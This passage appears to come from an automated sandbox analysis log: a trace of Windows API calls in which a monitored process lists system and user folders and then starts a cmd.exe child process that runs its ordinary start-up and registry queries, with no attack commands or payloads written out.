	[0184.649] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0ef6b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Windows Security Health", cAlternateFileName="WINDOW~4")) returned 1
	[0184.649] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbef9a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WinMSIPC", cAlternateFileName="")) returned 1
	[0184.649] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc002d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WwanSvc", cAlternateFileName="")) returned 1
	[0184.649] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc002d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WwanSvc", cAlternateFileName="")) returned 0
	[0184.649] FindClose (in: hFindFile=0x4140118 | out: hFindFile=0x4140118) returned 1
	[0184.649] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60bac0 | out: hHeap=0x5a0000) returned 1
	[0184.650] FindNextFileW (in: hFindFile=0x4140798, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3ecd6462, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3ecd6462, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft OneDrive", cAlternateFileName="MICROS~2")) returned 1
	[0184.650] FindNextFileW (in: hFindFile=0x4140798, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa2d56a03, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa2d56a03, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Oracle", cAlternateFileName="")) returned 1
	[0184.650] FindNextFileW (in: hFindFile=0x4140798, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdefc9a0c, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdefc9a0c, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Package Cache", cAlternateFileName="PACKAG~1")) returned 1
	[0184.650] FindNextFileW (in: hFindFile=0x4140798, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3122174, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x53fba98c, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft", cAlternateFileName="REGID1~1.MIC")) returned 1
	[0184.650] FindNextFileW (in: hFindFile=0x4140798, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc31230fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SoftwareDistribution", cAlternateFileName="SOFTWA~1")) returned 1
	[0184.650] FindNextFileW (in: hFindFile=0x4140798, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x7877b7ce, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x7877b7ce, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x7877b7ce, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1
	[0184.650] FindNextFileW (in: hFindFile=0x4140798, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x7877b7ce, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x7877b7ce, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x7877b7ce, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1
	[0184.650] FindNextFileW (in: hFindFile=0x4140798, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1931975, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x1931975, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="USOPrivate", cAlternateFileName="USOPRI~1")) returned 1
	[0184.650] FindNextFileW (in: hFindFile=0x4140798, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa4ade3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xa4ade3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="USOShared", cAlternateFileName="USOSHA~1")) returned 1
	[0184.650] FindNextFileW (in: hFindFile=0x4140798, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c07ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WindowsHolographicDevices", cAlternateFileName="WINDOW~1")) returned 1
	[0184.650] FindNextFileW (in: hFindFile=0x4140798, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c07ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WindowsHolographicDevices", cAlternateFileName="WINDOW~1")) returned 0
	[0184.650] FindClose (in: hFindFile=0x4140798 | out: hFindFile=0x4140798) returned 1
	[0184.651] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0184.651] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0xffffbb88, cFileName="Default", cAlternateFileName="")) returned 1
	[0184.651] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xd7b844b1, ftCreationTime.dwHighDateTime=0x1d2a02f, ftLastAccessTime.dwLowDateTime=0xd7b844b1, ftLastAccessTime.dwHighDateTime=0x1d2a02f, ftLastWriteTime.dwLowDateTime=0xd7b844b1, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffffbb88, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1
	[0184.651] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0xc40864ff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7205420a, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffffbb88, cFileName="Default.migrated", cAlternateFileName="DEFAUL~1.MIG")) returned 1
	[0184.651] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a9bc987, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5f69dfa, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5f69dfa, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0xffffbb88, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0184.651] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffffbb88, cFileName="FD1HVy", cAlternateFileName="")) returned 1
	[0184.651] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x475e19ed, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475e19ed, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffffbb88, cFileName="Public", cAlternateFileName="")) returned 1
	[0184.651] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x475e19ed, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475e19ed, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffffbb88, cFileName="Public", cAlternateFileName="")) returned 0
	[0184.651] FindClose (in: hFindFile=0x4140558 | out: hFindFile=0x4140558) returned 1
	[0184.651] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4144e50 | out: hHeap=0x5a0000) returned 1
	[0184.652] FindNextFileW (in: hFindFile=0x5ba730, lpFindFileData=0x374fcf8 | out: lpFindFileData=0x374fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1
	[0184.652] FindNextFileW (in: hFindFile=0x5ba730, lpFindFileData=0x374fcf8 | out: lpFindFileData=0x374fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea34fa37, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xccdc86a8, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xccdc86a8, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows10Upgrade", cAlternateFileName="WINDOW~1")) returned 1
	[0184.652] FindNextFileW (in: hFindFile=0x5ba730, lpFindFileData=0x374fcf8 | out: lpFindFileData=0x374fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea34fa37, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xccdc86a8, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xccdc86a8, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows10Upgrade", cAlternateFileName="WINDOW~1")) returned 0
	[0184.652] FindClose (in: hFindFile=0x5ba730 | out: hFindFile=0x5ba730) returned 1
	[0184.652] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4100048 | out: hHeap=0x5a0000) returned 1

Thread:
	id = 51
	os_tid = 0xe34


Thread:
	id = 52
	os_tid = 0xe38


Thread:
	id = 55
	os_tid = 0xe44


Thread:
	id = 56
	os_tid = 0xe48


Thread:
	id = 57
	os_tid = 0xe4c


Thread:
	id = 58
	os_tid = 0xe50


Process:
	id = "6"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x5ab93000"
	os_pid = "0xdd4"
	os_integrity_level = "0x2000"
	os_privileges = "0x40800000"
	monitor_reason = "child_process"
	parent_id = "5"
	os_parent_pid = "0xdc0"
	cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\""
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000118fc" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 31
	os_tid = 0xdd8

	[0155.080] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff65b800000
	[0155.080] __set_app_type (_Type=0x1) 
	[0155.080] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff65b816d00) returned 0x0
	[0155.080] __getmainargs (in: _Argc=0x7ff65b839200, _Argv=0x7ff65b839208, _Env=0x7ff65b839210, _DoWildCard=0, _StartInfo=0x7ff65b83921c | out: _Argc=0x7ff65b839200, _Argv=0x7ff65b839208, _Env=0x7ff65b839210) returned 0
	[0155.080] _onexit (_Func=0x7ff65b817fd0) returned 0x7ff65b817fd0
	[0155.080] _onexit (_Func=0x7ff65b817fe0) returned 0x7ff65b817fe0
	[0155.080] _onexit (_Func=0x7ff65b817ff0) returned 0x7ff65b817ff0
	[0155.080] _onexit (_Func=0x7ff65b818000) returned 0x7ff65b818000
	[0155.081] _onexit (_Func=0x7ff65b818010) returned 0x7ff65b818010
	[0155.081] _onexit (_Func=0x7ff65b818020) returned 0x7ff65b818020
	[0155.081] GetCurrentThreadId () returned 0xdd8
	[0155.081] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xdd8) returned 0x70
	[0155.081] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffd4b500000
	[0155.082] GetProcAddress (hModule=0x7ffd4b500000, lpProcName="SetThreadUILanguage") returned 0x7ffd4b51a990
	[0155.082] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0155.427] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0155.428] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x32a16ffba8 | out: phkResult=0x32a16ffba8*=0x0) returned 0x2
	[0155.440] VirtualQuery (in: lpAddress=0x32a16ffb94, lpBuffer=0x32a16ffb10, dwLength=0x30 | out: lpBuffer=0x32a16ffb10*(BaseAddress=0x32a16ff000, AllocationBase=0x32a1600000, AllocationProtect=0x4, __alignment1=0xffff9b06, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0155.440] VirtualQuery (in: lpAddress=0x32a1600000, lpBuffer=0x32a16ffb10, dwLength=0x30 | out: lpBuffer=0x32a16ffb10*(BaseAddress=0x32a1600000, AllocationBase=0x32a1600000, AllocationProtect=0x4, __alignment1=0xffff9b06, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0155.441] VirtualQuery (in: lpAddress=0x32a1601000, lpBuffer=0x32a16ffb10, dwLength=0x30 | out: lpBuffer=0x32a16ffb10*(BaseAddress=0x32a1601000, AllocationBase=0x32a1600000, AllocationProtect=0x4, __alignment1=0xffff9b06, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0155.441] VirtualQuery (in: lpAddress=0x32a1604000, lpBuffer=0x32a16ffb10, dwLength=0x30 | out: lpBuffer=0x32a16ffb10*(BaseAddress=0x32a1604000, AllocationBase=0x32a1600000, AllocationProtect=0x4, __alignment1=0xffff9b06, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0155.457] VirtualQuery (in: lpAddress=0x32a1700000, lpBuffer=0x32a16ffb10, dwLength=0x30 | out: lpBuffer=0x32a16ffb10*(BaseAddress=0x32a1700000, AllocationBase=0x32a1700000, AllocationProtect=0x4, __alignment1=0xffff9b06, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0xfffff801)) returned 0x30
	[0155.457] GetConsoleOutputCP () returned 0x1b5
	[0156.122] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff65b83fbb0 | out: lpCPInfo=0x7ff65b83fbb0) returned 1
	[0156.122] SetConsoleCtrlHandler (HandlerRoutine=0x7ff65b828150, Add=1) returned 1
	[0156.122] _get_osfhandle (_FileHandle=1) returned 0x254
	[0156.123] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff65b83fc04 | out: lpMode=0x7ff65b83fc04) returned 0
	[0156.123] _get_osfhandle (_FileHandle=0) returned 0x248
	[0156.123] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff65b83fc00 | out: lpMode=0x7ff65b83fc00) returned 0
	[0156.123] _get_osfhandle (_FileHandle=1) returned 0x254
	[0156.123] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0
	[0156.123] _get_osfhandle (_FileHandle=1) returned 0x254
	[0156.123] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff65b83fc08 | out: lpMode=0x7ff65b83fc08) returned 0
	[0156.123] _get_osfhandle (_FileHandle=0) returned 0x248
	[0156.123] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff65b83fc0c | out: lpMode=0x7ff65b83fc0c) returned 0
	[0156.123] GetEnvironmentStringsW () returned 0x1ff0cc15a40*
	[0156.123] GetProcessHeap () returned 0x1ff0cc10000
	[0156.123] RtlAllocateHeap (HeapHandle=0x1ff0cc10000, Flags=0x8, Size=0xab6) returned 0x1ff0cc16500
	[0156.123] FreeEnvironmentStringsA (penv="=") returned 1
	[0156.123] GetProcessHeap () returned 0x1ff0cc10000
	[0156.123] RtlAllocateHeap (HeapHandle=0x1ff0cc10000, Flags=0x8, Size=0x8) returned 0x1ff0cc15a40
	[0156.123] GetEnvironmentStringsW () returned 0x1ff0cc16fd0*
	[0156.123] GetProcessHeap () returned 0x1ff0cc10000
	[0156.123] RtlAllocateHeap (HeapHandle=0x1ff0cc10000, Flags=0x8, Size=0xab6) returned 0x1ff0cc17a90
	[0156.124] FreeEnvironmentStringsA (penv="=") returned 1
	[0156.124] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x32a16fea58 | out: phkResult=0x32a16fea58*=0x7c) returned 0x0
	[0156.124] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x32a16fea50, lpData=0x32a16fea70, lpcbData=0x32a16fea54*=0x1000 | out: lpType=0x32a16fea50*=0x0, lpData=0x32a16fea70*=0x4, lpcbData=0x32a16fea54*=0x1000) returned 0x2
	[0156.124] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x32a16fea50, lpData=0x32a16fea70, lpcbData=0x32a16fea54*=0x1000 | out: lpType=0x32a16fea50*=0x4, lpData=0x32a16fea70*=0x1, lpcbData=0x32a16fea54*=0x4) returned 0x0
	[0156.124] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x32a16fea50, lpData=0x32a16fea70, lpcbData=0x32a16fea54*=0x1000 | out: lpType=0x32a16fea50*=0x0, lpData=0x32a16fea70*=0x1, lpcbData=0x32a16fea54*=0x1000) returned 0x2
	[0156.124] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x32a16fea50, lpData=0x32a16fea70, lpcbData=0x32a16fea54*=0x1000 | out: lpType=0x32a16fea50*=0x4, lpData=0x32a16fea70*=0x0, lpcbData=0x32a16fea54*=0x4) returned 0x0
	[0156.124] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x32a16fea50, lpData=0x32a16fea70, lpcbData=0x32a16fea54*=0x1000 | out: lpType=0x32a16fea50*=0x4, lpData=0x32a16fea70*=0x40, lpcbData=0x32a16fea54*=0x4) returned 0x0
	[0156.124] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x32a16fea50, lpData=0x32a16fea70, lpcbData=0x32a16fea54*=0x1000 | out: lpType=0x32a16fea50*=0x4, lpData=0x32a16fea70*=0x40, lpcbData=0x32a16fea54*=0x4) returned 0x0
	[0156.124] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x32a16fea50, lpData=0x32a16fea70, lpcbData=0x32a16fea54*=0x1000 | out: lpType=0x32a16fea50*=0x0, lpData=0x32a16fea70*=0x40, lpcbData=0x32a16fea54*=0x1000) returned 0x2
	[0156.124] RegCloseKey (hKey=0x7c) returned 0x0
	[0156.124] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x32a16fea58 | out: phkResult=0x32a16fea58*=0x7c) returned 0x0
	[0156.124] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x32a16fea50, lpData=0x32a16fea70, lpcbData=0x32a16fea54*=0x1000 | out: lpType=0x32a16fea50*=0x0, lpData=0x32a16fea70*=0x40, lpcbData=0x32a16fea54*=0x1000) returned 0x2
	[0156.124] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x32a16fea50, lpData=0x32a16fea70, lpcbData=0x32a16fea54*=0x1000 | out: lpType=0x32a16fea50*=0x4, lpData=0x32a16fea70*=0x1, lpcbData=0x32a16fea54*=0x4) returned 0x0
	[0156.124] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x32a16fea50, lpData=0x32a16fea70, lpcbData=0x32a16fea54*=0x1000 | out: lpType=0x32a16fea50*=0x0, lpData=0x32a16fea70*=0x1, lpcbData=0x32a16fea54*=0x1000) returned 0x2
	[0156.124] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x32a16fea50, lpData=0x32a16fea70, lpcbData=0x32a16fea54*=0x1000 | out: lpType=0x32a16fea50*=0x4, lpData=0x32a16fea70*=0x0, lpcbData=0x32a16fea54*=0x4) returned 0x0
	[0156.124] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x32a16fea50, lpData=0x32a16fea70, lpcbData=0x32a16fea54*=0x1000 | out: lpType=0x32a16fea50*=0x4, lpData=0x32a16fea70*=0x9, lpcbData=0x32a16fea54*=0x4) returned 0x0
	[0156.124] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x32a16fea50, lpData=0x32a16fea70, lpcbData=0x32a16fea54*=0x1000 | out: lpType=0x32a16fea50*=0x4, lpData=0x32a16fea70*=0x9, lpcbData=0x32a16fea54*=0x4) returned 0x0
	[0156.125] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x32a16fea50, lpData=0x32a16fea70, lpcbData=0x32a16fea54*=0x1000 | out: lpType=0x32a16fea50*=0x0, lpData=0x32a16fea70*=0x9, lpcbData=0x32a16fea54*=0x1000) returned 0x2
	[0156.125] RegCloseKey (hKey=0x7c) returned 0x0
	[0156.125] time (in: timer=0x0 | out: timer=0x0) returned 0x5e62dfc7
	[0156.125] srand (_Seed=0x5e62dfc7) 
	[0156.125] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\""
	[0156.125] malloc (_Size=0x4000) returned 0x1ff0cf05530
	[0156.125] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\""
	[0156.125] malloc (_Size=0xffce) returned 0x1ff0cd10080
